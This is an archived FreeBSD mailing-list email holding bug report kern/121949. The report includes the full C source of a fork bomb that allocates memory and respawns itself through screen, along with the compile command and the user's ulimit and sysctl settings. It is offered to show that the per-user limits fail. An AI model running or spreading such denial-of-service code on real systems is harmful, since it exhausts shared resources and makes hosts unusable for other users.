From owner-freebsd-bugs@FreeBSD.ORG Sat Mar 22 00:00:09 2008 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 930401065670 for ; Sat, 22 Mar 2008 00:00:09 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 93DC98FC27 for ; Sat, 22 Mar 2008 00:00:08 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.2/8.14.2) with ESMTP id m2M008Sf022489 for ; Sat, 22 Mar 2008 00:00:08 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.2/8.14.1/Submit) id m2M0088T022488; Sat, 22 Mar 2008 00:00:08 GMT (envelope-from gnats) Resent-Date: Sat, 22 Mar 2008 00:00:08 GMT Resent-Message-Id: <200803220000.m2M0088T022488@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, "Michał Garbowski" Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6B79B1065689 for ; Fri, 21 Mar 2008 23:50:19 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id C8CE98FC63 for ; Fri, 21 Mar 2008 23:50:18 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.2/8.14.2) with ESMTP id m2LNoDlk096168 for ; Fri, 21 Mar 2008 23:50:13 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.2/8.14.1/Submit) id m2LNoDC5096167; Fri, 21 Mar 2008 23:50:13 GMT (envelope-from nobody) Message-Id: <200803212350.m2LNoDC5096167@www.freebsd.org> Date: Fri, 21 Mar 2008 23:50:13 GMT From: "Michał Garbowski" To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/121949: Fork bomb, who can always stop system. X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 22 Mar 2008 00:00:09 -0000 >Number: 121949 >Category: kern >Synopsis: Fork bomb, who can always stop system. >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 22 00:00:08 UTC 2008 >Closed-Date: >Last-Modified: >Originator: Michał Garbowski >Release: 7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008 >Organization: - >Environment: FreeBSD em 7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008 root@em:/usr/obj/usr/src/sys/GENERIC i386 >Description: Program - fork bomb - like this: forkbomb.c #include #include int main(void); int zonk(void); int zonk (void) { int i=0; while (1) { char* zonk; i=i+4; zonk=malloc(i); printf("%d\n",i); system("ping -s 56 -c 1 localhost > /dev/null && screen -m -d -s ~/kaboom > /dev/null"); wait(10); } return 0; } int main (void) { zonk(); return 0; } Compiled as: cc -o ~/kaboom forkbomb.c Can stop freebsd, with limist: $ ulimit -a core file size (blocks, -c) 1024 data seg size (kbytes, -d) 4096 file size (blocks, -f) 1478656 max locked memory (kbytes, -l) 4096 max memory size (kbytes, -m) 8192 open files (-n) 2599 pipe size (512 bytes, -p) 1 stack size (kbytes, -s) 1024 cpu time (seconds, -t) 86400 max user processes (-u) 50 virtual memory (kbytes, -v) 32768 $ cat /etc/sysctl.conf security.bsd.see_other_uids=0 kern.maxprocperuid=50 net.inet.tcp.msl=7500 net.inet.tcp.blackhole=2 net.inet.udp.blackhole=1 net.inet.icmp.icmplim=50 When I start: screen -m -d -s ~/kaboom fBSD gives memory in spite of all limits. Is there any limit, which can stop adding memory for that forks ? My server has: 200 MB Ram memory, 128 MB Swap memory. >How-To-Repeat: I don't know. >Fix: I don't know. >Release-Note: >Audit-Trail: >Unformatted: